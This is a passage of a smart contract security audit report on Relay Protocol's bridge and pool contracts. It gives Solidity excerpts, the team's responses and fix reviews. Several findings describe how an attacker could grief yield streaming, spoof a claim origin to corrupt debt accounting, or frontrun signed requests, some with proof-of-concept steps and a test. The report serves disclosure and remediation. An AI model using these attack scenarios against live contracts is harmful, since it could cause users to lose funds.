The tradeoff of this pattern of streaming tokens is that each time we add new tokens, we're delaying the existing stream by resetting the streaming period. For example, consider the scenario where the stream is currently 50% complete with a `streamingPeriod` of 10 days and 100e18 remaining `totalAssetsToStream`. At the current rate, it will take 5 days to stream the 100e18 tokens, amounting to 20e18 tokens to be streamed per day. However, if we add additional tokens to be streamed, we will reset the streaming period and it will now take 10 days to stream these 100e18 tokens, amounting to 10e18 tokens to be streamed per day.

This can be used as a griefing attack whereby if an attacker regularly calls `updateStreamedAssets`, they will continually delay the yield from accruing, suppressing the interest rate in the process. By controlling the interest rate in this manner, the attacker can lead liquidity providers to withdraw and cause a large amount of `totalAssetsToStream` to accrue over a long period before finally depositing and collecting at a high interest rate, claiming yield which should have been earned by past liquidity providers.

Note that even with regular usage this may lead to unexpected behavior. For example, this mechanism effectively penalizes liquidity providers during periods of high usage by delaying the streaming period more regularly, and vice versa.

Recommendation: Instead of continually delaying the streaming period, a better approach would be to use fixed streaming periods, i.e. epochs, where added funds will be distributed in the next epoch. Note that `updateStreamingPeriod` should be carefully updated accordingly such that it's only applied for future epochs to prevent any accounting issues on the current epoch.

Relay Protocol: Fixed in PR 172. We now keep track of the "end of stream" period and reset it by doing a weighted average of what is already streaming and the new assets to be streamed.

Cantina Managed: Fixed using a creative strategy which behaves optimally.

3.3.8 Infinite swap `deadline`

Severity: Medium Risk

Context: TokenSwap.sol#L139

Description: In `TokenSwap.swap`, we execute a swap via the `UniversalRouter`, providing a `deadline` of `block.timestamp + 60`:

```
// Executes the swap.
IUniversalRouter(uniswapUniversalRouter).execute(
  commands,
  inputs,
  block.timestamp + 60 // expires after 1min
);
```

The intended behavior is that it sets a deadline of one minute from the time of execution. However, since `block.timestamp` is evaluated at the time of execution, it will always read the current `block.timestamp`, hence this effectively behaves as an infinite deadline. The risk of setting an infinite deadline on a swap call is that the transaction can sit in the mempool for a long time while the market changes, leading to what may have previously been a reasonably priced trade becoming unreasonably priced in the current market, resulting in a loss. Note that this pattern of using `block.timestamp` as the `deadline` is also used in `permit2.approve` on line 111.

Recommendation: Include a `TokenSwap.swap` parameter to manually provide a `deadline`.

Relay Protocol: Fixed in PR 207.

Cantina Managed: Fixed as recommended.

3.3.9 Origin spoofing in `RelayPool::claim()` function, corrupts `RelayPool`'s debt state

Severity: Medium Risk

Context: *(No context files were provided by the reviewer)*

Description: The `RelayPool.sol` contract's `claim()` function lacks proper validation of the `chainId` and `bridge` parameters against the submitted proof. This allows an attacker to submit proofs from one chain while claiming them against a different chain's debt record, potentially preventing legitimate claims from being processed.

```solidity
function claim(uint32 chainId, address bridge, bytes calldata claimParams) external {
    OriginSettings storage origin = authorizedOrigins[chainId][bridge];
    if (origin.proxyBridge == address(0)) {
        revert UnauthorizedOrigin(chainId, bridge);
    }

    (bool success, bytes memory result) =
        origin.proxyBridge.delegatecall(abi.encodeWithSignature("claim(address,bytes)", asset, claimParams));

    if (!success) {
        revert ClaimingFailed(chainId, bridge, origin.proxyBridge, claimParams);
    }

    // Decode the result
    uint256 amount = abi.decode(result, (uint256));

    // Update the outstanding debts
    origin.outstandingDebt -= amount;
    decreaseOutStandingDebt(amount);
    // ...
}
```

The function only validates that the provided `chainId` and `bridge` combination exists in authorizedOrigins, but does not verify that the claimParams (which contains the proof) corresponds to the specified chain and bridge.

Proof of Concept:

- Initial State:
  - Chain A: outstandingDebt = 1000 USDC.
  - Chain B: outstandingDebt = 500 USDC.
- Attack Scenario:
  1. Attacker takes proof of 500 USDC from Chain B.
  2. Attacker calls `claim()` with:
     - `chainId` = Chain A's ID.
     - `bridge` = Chain A's bridge.
     - `claimParams` = Chain B's proof.
- Resulting State:
  - Chain A: outstandingDebt = 500 USDC (incorrectly reduced).
  - Chain B: outstandingDebt = 500 USDC (unchanged).

When legitimate Chain A proof for 1000 USDC arrives, the function will revert and cannot be claimed via the standard `RelayPool::claim()` function.

Recommendation: Consider decoupling the `claim()` logic by receiving funds to an intermediary contract and pull-in funds on demand to protect effects from this very issue.

Relay Protocol: Fixed in commit 449fcce5, PR 199 and PR 208.

Cantina Managed: Verified fix. Under ideal conditions, the relayer's state won't get corrupted as the funds are pulled from the proxy contract based on the outstanding debt and will underflow for non-existent `chainId` ⇔ `bridge` pairs.

3.4 Low Risk

3.4.1 Lack of `poolChainId` validation in `RelayBridge::bridge()` function leads to permanent loss of user funds

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `bridge()` function in `RelayBridge.sol` facilitates the transfer of tokens from chain B, preferably an L2, to chain A (mainly Ethereum). It utilizes various canonical and liquidity bridges for token movement, employing Hyperlane to transmit a cross-chain message. Upon receiving the Hyperlane message in Chain A's RelayPool, LP liquidity completes the bridging for a fee, thus removing the necessity for waiting periods such as the 7-day optimistic window on Optimism.

The `bridge()` function:

```
function bridge(
    uint256 amount,
    address recipient,
    uint32 poolChainId,
    address pool
) external payable returns (uint256 nonce)
```

It accepts a `poolChainId` and `pool` address to which the funds are transferred via the canonical bridge and is the recipient of the Hyperlane message. However, these values lack validation, and additionally, the canonical bridge disregards the `poolChainId`, instead directing funds to a preconfigured destination chain id. This leads to the Hyperlane message being routed to the incorrect chain, which may result in users losing funds.

Though the issue arises from user error (low severity), fixing it can be vital to protect user funds against frontend configuration issues / other related risks.

Proof of Concept: I attempted to call the `bridge()` function on Optimism, using poolChainId as `42161` instead of `1`. The call went through successfully, transferring the funds via the Optimism Standard Bridge to Ethereum; however, it dispatched a Hyperlane message to a chain that did not exist.

```
function test_bridgingE2E() external {
    deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user, 1e6);
    vm.startPrank(user);
    ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 1e6);
    relayPool.deposit(1e6, user);

    deal(address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48), user2, 1e6);
    vm.startPrank(user2);
    ERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48).approve(address(relayPool), 1e6);
    relayPool.deposit(1e6, user2);

    vm.selectFork(opFork);
    deal(address(0x7F5c764cBc14f9669B88837ca1490cCa17c31607), user, 1e6);
    deal(user, 1 ether);

    vm.startPrank(user);
    ERC20(0x7F5c764cBc14f9669B88837ca1490cCa17c31607).approve(address(relayBridge), 1e6);
    vm.mockCall(
        0x7F5c764cBc14f9669B88837ca1490cCa17c31607,
        abi.encodeWithSelector(IOptimismMintableERC20.remoteToken.selector),
        abi.encode(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48)
    );
    vm.recordLogs();
    relayBridge.bridge{value: 1 ether}(1e6, address(420), 42161, address(relayPool));
    vm.stopPrank();
}
```

The logs show that Hyperlane bridging can be done to any chain that Hyperlane supports, as the message dispatch has no internal validations.

Recommendation: Configuring the **receiving pool address and chain ID** on the `RelayBridge.sol` contract will help mitigate this issue.

Relay Protocol: Fixed in commit 449fcce5.

Cantina Managed: To prevent the problem of sending funds to an unrecognized `chainId`, the `poolChainId` is now read from the bridge proxy contract, which fixes this issue. However, the `chainId` is now being silently truncated from `uint256` to `uint32`, which may result in unexpected behavior if a chain identifier exceeds the maximum value for `uint32`.

3.4.2 Cross-chain timestamp underflow in `RelayPool`

Severity: Low Risk

Context: RelayPool.sol#L326

Description: The `RelayPool.sol` contract implements a cooldown mechanism comparing timestamps between L1 and L2 chains. It assumes temporal consistency, which is not guaranteed and may cause arithmetic underflow and message rejection. In the `handle()` function:

```
// if the message is too recent, we reject it
if (block.timestamp - message.timestamp < origin.coolDown) {
    revert MessageTooRecent(chainId, bridge, message.nonce, message.timestamp, origin.coolDown);
}
```

The vulnerability arises because:

- `message.timestamp` comes from the source chain's `block.timestamp`.
- The destination chain's `block.timestamp` is used for comparison.
- Different chains can have significantly different timestamps due to:
  - Different block production rates.
  - Network delays.
  - Chain halts or slowdowns.
  - Intentional timestamp manipulation by validators.

The issue might be temporary and can be mitigated by relaying it once the `block.timestamp` value exceeds `message.timestamp`, provided it is within a specified range. However, during this period, the user can experience temporary DoS, which can defeat the purpose of this pool-based bridging for solvers as they want a near-instant exit.

Recommendation: Consider adding chain-specific timestamp drift tolerances and implementing circuit breakers for large timestamp discrepancies while documenting expected behavior for solvers.

Relay Protocol: Acknowledged.

Cantina Managed: Acknowledged.

3.4.3 Inconsistent token support in `OPStackNativeBridgeProxy::bridge()` and `OPStackNativeBridgeProxy::claim()` functions

Severity: Low Risk

Context: OPStackNativeBridgeProxy.sol#L62

Description: The `OPStackNativeBridgeProxy.sol` contract implements asymmetric token handling between its `bridge()` and `claim()` functions. While `bridge()` supports native ETH and ERC20 tokens, `claim()` only implements ERC20 token balance checking, which could lead to accounting errors or stuck native ETH transactions. When claiming bridged native ETH, the function below will revert when trying to call `balanceOf()` on `address(0)`:

```
// bridge() supports both native and ERC20:
function bridge(address sender, uint32, address recipient, address currency, uint256 amount, bytes calldata
↪ data) external payable {
    if (currency == address(0)) {
        // Native ETH handling
        L2StandardBridge(STANDARD_BRIDGE).bridgeETHTo{value: amount}(recipient, 200000, data);
    } else {
        // ERC20 handling
        // ...
    }
}

// claim() only handles ERC20:
function claim(address currency, bytes calldata bridgeParams) external override returns (uint256) {
    // ...
    // Only checks ERC20 balance
    return IERC20(currency).balanceOf(address(this));
}
```

Recommendation: Implement native token handling in `claim()` or remove it from `bridge()` if unnecessary.

Relay Protocol: Fixed in commit 449fcce5.

Cantina Managed: The `claim()` function is entirely removed from the `BridgeProxy`, so the issue is fixed and the `claim()` function is wholly removed and is completed directly on the bridge.

3.4.4 Resolve all TODOs for production readiness

Severity: Low Risk

Context: OPStackNativeBridgeProxy.sol#L99, RelayPoolNativeGateway.sol#L20, RelayPool.sol#L135, RelayPool.sol#L365, RelayPool.sol#L405, RelayPool.sol#L435, RelayPool.sol#L441

Description: Multiple TODOs throughout the scope under review must be addressed, and all **TODO** comments should be removed or fixed. This will enhance code quality, reduce technical debt, and ensure that all pending tasks are implemented correctly.

Additionally, some TODOs are linked to improving the protocol's overall security, which must be prioritized. These TODOs include:

```
// TODO: handle cases where the origin might have been removed/changed (fees, etc.)

// TODO: what happens if the bridgeFee was changed?

// TODO: we MUST get the content of `message` to identify _which_ transfer(s) was received
```

Recommendation: Ensure pending tasks are tracked and implemented.

Relay Protocol: Fixed in commit 6ed9e7ba.

> // TODO: handle cases where the origin might have been removed/changed (fees, etc.)

That one was removed because if the origin is removed, the funds cannot get there except through the new processFailedHandler. As for the fee change, this is happening with a delay (through the timelock), which means that the solver would/should know that the fees may change.

> // TODO: we MUST get the content of message to identify which transfer(s) was received.

This is actually not really possible since the data field is not consistently passed by the native bridges. It is also possible that the bridging is completed by a 3rd party without the contract being called (so no data can get passed).

Cantina Managed: Most of the TODOs became irrelevant after the architectural changes made during the fixed review and were removed. The other two mentioned above were acknowledged and removed.

3.4.5 `CallRequest digest`s can be the same across accounts, potentially leading to DoS

Severity: Low Risk

Context: CreditMaster.sol#L116-L119

Description: In `CreditMaster.execute`, users provide a `CallRequest` and an associated `signature` which is validated before executing the requested calls. We then validate whether the signed `digest` has already been used previously and revert if so:

```
// Revert if the call request has already been used
if (callRequests[digest]) {
    revert CallRequestAlreadyUsed();
}

// Mark the call request as used
callRequests[digest] = true;
```

This is useful for preventing duplicate requests from the same sender, however, since the `msg.sender` is not validated as part of the `digest`, this will also prevent duplicate requests from any other sender. We include a `nonce` as part of the request so collisions are relatively unlikely and can be generally avoided, especially if non-sequential nonces are used, although it's still possible for an attacker to intentionally frontrun another user's call with a duplicate request, causing the user's call to revert.

This is often not a concerning outcome as the same calls which the victim intended to execute will be executed, however, there are at least a couple circumstances where this behavior is undesirable. Firstly, in case `tx.origin` is used at any point, it will reference the attacker's address instead. Secondly, in case `execute` is called from a smart contract function, any other logic expected to also be executed as part of that function will not be.

Recommendation: Include the `msg.sender` as part of the `digest` to ensure that duplicate `digests` must come from the same sender.

Relay Protocol: After thinking through this a bit more, we're going to acknowledge and leave `msg.sender` out of the digest. Here is our reasoning:

- We don't want to lose the flexibility of allowing arbitrary callers to execute.
- Building the Allocator to maintain nonce at global level instead of per sender is acceptable.
- Smart contracts should handle calls to execute knowing that they can get frontrun.

In case calls get frontrun quite often or we do know who the sender will be in practice, we can always revisit adding msg.sender to the digest in v2.

Cantina Managed: Acknowledged. In this case, it's recommended to add documentation to indicate these potential risks.

3.4.6 `ZkSyncBridgeProxy.bridge` is marked as `payable` but doesn't support ETH withdrawals

Severity: Low Risk

Context: ZkSyncBridgeProxy.sol#L26-L33

Description: The `ZkSyncBridgeProxy.bridge` function is marked as `payable` and proceeds with a provided `currency` parameter of `address(0)`:

```
function bridge(
  address sender,
  uint32 /*destinationChainId*/,
  address recipient,
  address currency,
  uint256 amount,
  bytes calldata /*data*/
) external payable override {
  // @audit so if address(0), we support ETH?
  //        we don't transfer the value so that probably doesn't work
  if (currency != address(0)) {
    // Take the ERC20 tokens from the sender
    IERC20(currency).transferFrom(sender, address(this), amount);
  }

  // withdraw to L1
  L2_SHARED_BRIDGE.withdraw(recipient, currency, amount);
}
```

At first glance it appears that this function is intended to support ETH withdrawals, however we don't transfer the provided `msg.value` to `L2_SHARED_BRIDGE.withdraw`, and ETH withdrawals are not supported by `L2_SHARED_BRIDGE.withdraw` anyways. Calling this function with `currency == address(0)` will revert in `L2_SHARED_BRIDGE.withdraw` due to an invalid address and providing a nonzero `msg.value` while bridging a valid token will cause the provided ETH to be permanently locked in the contract.

Recommendation: Revert if `currency == address(0)` and make the function not `payable`.

Relay Protocol: Fixed in PR 218 with support for both ERC20 and native tokens.

Cantina Managed: Fix verified.

3.4.7 In-flight messages will be blocked due to insufficient validations in `RelayPool::disableOrigin()` function

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

Description: The `RelayPool.sol` contract implements a mechanism to disable origins through the `disableOrigin()` function. However, the current implementation may block legitimate in-transit messages when an origin is disabled, as the maxDebt parameter is immediately set to zero without handling pending transactions.

Proof of Concept:

- User A initiates a bridge transaction on `RelayBridge`.
- Before the message is processed on `RelayPool.sol`, the curator calls disableOrigin().
- When the message arrives at RelayPool, it will be rejected due to maxDebt being 0, even though it was a legitimate transaction.

Recommendation: Consider pausing the `RelayBridge.sol` contract to avoid sending new messages. Later once all pending messages are processed, consider disabling the origin.

Alternatively, add a `disableAfterTimestamp`, which can help invalidate messages sent after a specific timestamp, as the message sent timestamp is encoded in the hyperlane message. pause.

Relay Protocol: Fixed in PR 210.

Cantina Managed: The issue is fixed by introducing a new function, `processFailedHandler`, that allows the owner to process an arbitrary message behind a timelock (arguably a pending message). On the other hand, it introduces a centralization risk, where the owner can spoof a non-existent message and is a risk accepted by the protocol design.

3.5 Gas Optimization

3.5.1 Replace double approval with direct transfer prior to swap

Severity: Gas Optimization

Context: TokenSwap.sol#L103-L112

Description: In `TokenSwap.swap`, we approve the `permit2` contract then approve the `unsiwapUniversalRouter` via the `permit2` contract to spend our tokens:

```
// approve PERMIT2 to manipulate the token
IERC20(tokenAddress).approve(PERMIT2_ADDRESS, tokenAmount);

// issue PERMIT2 Allowance
IPermit2(PERMIT2_ADDRESS).approve(
  tokenAddress,
  uniswapUniversalRouter,
  tokenAmount.toUint160(),
  uint48(block.timestamp + 60) // expires after 1min
);
```

This is quite gas inefficient as we have to execute two separate calls for each token swap. Instead, we can simply transfer the tokens to be swapped directly to the `uniswapUniversalRouter` contract, then if we adjust the last param (`payerIsUser`) of `inputs[0]` to `false`, it will use these tokens already in the contract for the swap.

Recommendation: Remove the approval functions and instead transfer the tokens to swap directly to the `uniswapUniversalRouter`, adjusting the last param of `inputs[0]` to `false` so that the tokens are used in the swap.

Relay Protocol: Fixed in PR 222.

Cantina Managed: Fixed as recommended.

3.5.2 Storage variables can be `immutable`

Severity: Gas Optimization

Context: RelayPoolFactory.sol#L8-L9

Description: In `RelayPoolFactory.sol` and `TokenSwap.sol`, we initialize storage variables in the constructor which contain no logic to update them again in the lifecycle of the contract:

```
// RelayPoolFactory.sol
address public hyperlaneMailbox;
address public wrappedEth;
```

```
// TokenSwap.sol
address public uniswapUniversalRouter;
```

Since these storage variables cannot be updated outside of the constructor, we can mark them as `immutable` to reduce the gas cost associated with reading them.

Recommendation: Set the above noted variables as `immutable`:

```
// RelayPoolFactory.sol
address public immutable hyperlaneMailbox;
address public immutable wrappedEth;
```

```
// TokenSwap.sol
address public immutable uniswapUniversalRouter;
```

Relay Protocol: Fixed in commit 466dc08 and PR 213.

Cantina Managed: Fixed as recommended.

3.5.3 Redundant zero value `SSTORE`

Severity: Gas Optimization

Context: RelayBridge.sol#L46

Description: In the `RelayBridge` constructor, we initialize the `transferNonce` storage variable with a value of 0:

```
transferNonce = 0;
```

Since the default value of `uint256` variables is 0, this operation is redundant.

Recommendation: Remove the redundant operation.

Relay Protocol: Fixed in commit 449fcce5.

Cantina Managed: Fixed as recommended.

3.6 Informational

3.6.1 Approving funds to `BridgeProxy` implementations could be dangerous

Severity: Informational

Context: ArbitrumOrbitNativeBridgeProxy.sol#L48, CCTPBridgeProxy.sol#L46, OPStackNativeBridgeProxy.sol#L44, ZkSyncBridgeProxy.sol#L29

Description: At present, the abstract `BridgeProxy.sol` contract is extended by four contracts: `ArbitrumOrbitNativeBridgeProxy`, `CCTPBridgeProxy`, `OPStackNativeBridgeProxy`, and `ZkSyncBridgeProxy`. These contracts are utilized by `RelayBridge.sol` through `delegatecall`.

While this usage pattern is safe, direct interaction with any of the extending contracts (`ArbitrumOrbitNativeBridgeProxy`, `CCTPBridgeProxy`, `OPStackNativeBridgeProxy`, or `ZkSyncBridgeProxy`) could result in unauthorized access to user funds.

The `bridge()` function in `ArbitrumOrbitNativeBridgeProxy.sol` contract:

```
function bridge(
    address sender,
    uint32, // destinationChainId,
    address recipient,
    address l1Currency, //l1 token
    uint256 amount,
    bytes calldata /* data*/
) external payable override {
    // send native tokens to L1
    if (l1Currency == address(0)) {
        ARB_SYS.withdrawEth{value: amount}(recipient);
    } else {
        // get l2 token from l1 address
        address l2token = ROUTER.calculateL2TokenAddress(l1Currency);

        // Take the ERC20 tokens from the sender
        IERC20(l2token).transferFrom(sender, address(this), amount);

        // here we have to pass empty data as data has been disabled in the default
        // gateway (see EXTRA_DATA_DISABLED in Arbitrum's L2GatewayRouter.sol)
        ROUTER.outboundTransfer(l1Currency, recipient, amount, "");
    }
}
```

The current implementation could allow an attacker to:

- Call the bridge function with any arbitrary sender address.
- Transfer tokens from accounts they do not control.
- Bridge funds without proper authorization.

Recommendation: Consider adding more documentation / caution against using this function without **delegatecall** in individual implementation contracts.

Relay Protocol: We have now moved this step to the bridge contract itself.

Cantina Managed: Acknowledged.

3.6.2 Missing error message in native ETH transfer require statement

Severity: Informational

Context: RelayPool.sol#L452

Description: The `RelayPool` contract contains a `require` statement for native ETH transfers without an error message, making it difficult to diagnose failures and degrading the user experience:

```
function sendFunds(uint256 amount, address recipient) internal {
    if (address(asset) == WETH) {
        withdrawAssetsFromYieldPool(amount, address(this));
        IWETH(WETH).withdraw(amount);
        (bool s,) = recipient.call{value: amount}("");
        require(s);  // @audit no error message
    } else {
        withdrawAssetsFromYieldPool(amount, recipient);
    }
}
```

Recommendation: Add a descriptive error message to the `require` statement:

```
function sendFunds(uint256 amount, address recipient) internal {
    if (address(asset) == WETH) {
        withdrawAssetsFromYieldPool(amount, address(this));
        IWETH(WETH).withdraw(amount);
        (bool s,) = recipient.call{value: amount}("");
        require(s, "RelayPool: ETH transfer failed");
    } else {
        withdrawAssetsFromYieldPool(amount, recipient);
    }
}
```

Alternatively, consider using a custom error message with `revert()`.

Relay Protocol: Fixed in commit 2693049e.

Cantina Managed: Fix verified.

3.6.3 Incorrect return parameter name in `RelayPool::maxRedeem()` function

Severity: Informational

Context: RelayPool.sol#L244

Description: The `maxRedeem()` function in the `RelayPool` contract has a misleading return value name. The function's return parameter is named `maxAssets` but it returns a share amount based on `previewWithdraw`:

```
// We cap the maxRedeem of any owner to the maxRedeem of the yield pool for us
function maxRedeem(address owner) public view override returns (uint256 maxAssets) {
    uint256 maxWithdrawInYieldPool = maxWithdraw(owner);
    return ERC4626.previewWithdraw(maxWithdrawInYieldPool);  // @audit returns shares, not assets
}
```

Recommendation: Change the return parameter name to accurately reflect what's being returned:

```
function maxRedeem(address owner) public view override returns (uint256 maxShares) {
    uint256 maxWithdrawInYieldPool = maxWithdraw(owner);
    return ERC4626.previewWithdraw(maxWithdrawInYieldPool);
}
```

Relay Protocol: Fixed in commit 0d6a3244.

Cantina Managed: Fix verified.

3.6.4 Missing `maxDebt` validation while adding new origins allows creating disabled origins

Severity: Informational

Context: RelayPool.sol#L180

Description: The `addOrigin` function within the `RelayPool.sol` contract does not validate **maxDebt**. This oversight permits the establishment of origins with `maxDebt = 0`, rendering them effectively disabled from the outset, as this state mirrors that of a disabled origin.

Recommendation: Add validation to require non-zero maxDebt when adding an origin.

Relay Protocol: Acknowledged. Not sure we need to fix this as the curator is "trusted" to do the right thing.

Cantina Managed: Acknowledged.

3.6.5 ETH may be accidentally refunded to the `ApprovalProxy`

Severity: Informational

Context: ApprovalProxy.sol#L82

Description: In `transferAndMulticall`, `permitTransferAndMulticall`, and `permit2TransferAndMulticall`, we include a `refundTo` parameter, which is passed to `RelayRouter.multicall`, where any remaining ETH after the execution will be transferred to that address:

```
// Refund any leftover ETH to the sender
if (address(this).balance > 0) {
    // If refundTo is address(0), refund to msg.sender
    address refundAddr = refundTo == address(0) ? msg.sender : refundTo;

    refundAddr.safeTransferETH(address(this).balance);
}
```

As we can see above, in case `refundTo == address(0)`, we will refund the ETH to the `msg.sender`, which is the `ApprovalProxy` contract in this context. Since only the `owner` of the `ApprovalProxy` can withdraw

ETH accidentally sent to the contract, we never want to set `refundTo` as `address(0)` when called via one of these functions.

Recommendation: Add validation in `transferAndMulticall`, `permitTransferAndMulticall`, and `permit2TransferAndMulticall` that `refundTo != address(0)`. Alternatively, make sure to at least clearly document that `refundTo` should be set.

Relay Protocol: Fixed in PR 31 by adding check that `refundTo != address(0)` in `transferAndMulticall`, `permitTransferAndMulticall`, and `permit2TransferAndMulticall`.

Cantina Managed: Fixed as recommended.

3.6.6 Clarify `RelayPool.sol` comments

Severity: Informational

Context: RelayPool.sol#L124

Description: In `RelayPool.sol`, we have the following comments which could be clarified to better document functionality and secure usage:

```
// Warning: the owner of the pool should always be a timelock address with a significant delay to reduce the
↪  risk of stolen funds
```

In the above comment we note that that the owner of the pool should be a timelock contract with a 'significant' delay. We should more specifically note that the delay must be greater than the withdrawal finalization period of any L2's used. In case the timelock delay is shorter, it may not be possible to withdraw all funds in transit if a malicious owner executes a call via the timelock contract.

```
// If the last fee collection was more than 7 days ago, we have nothing left to stream
```

In this comment we assume that the `streamingPeriod` is always 7 days, however, this value can be updated, so the comment should instead reference the `streamingPeriod` to reflect that.

Recommendation: Update the above noted comments as recommended.

Relay Protocol: Fixed in commit 5508bbf.

Cantina Managed: Fixed as recommended.

3.6.7 Use of `uint8` for bridgeFee limits max value to `2.56%`

Severity: Informational

Context: RelayPool.sol#L17

Description: The `bridgeFee` parameter within `OriginSettings` is defined as `uint8`, which constrains its maximum value to `256`, equating to exactly `2.56%`. This restriction prevents anyone from facilitating a bridge with fees exceeding this threshold, which remains undocumented.

Recommendation: Consider using `uint32` for bridgeFee instead of `uint8` (or) at least better document this behavior.

Relay Protocol: Fixed in commit 4332d06c.

Cantina Managed: Fix verified.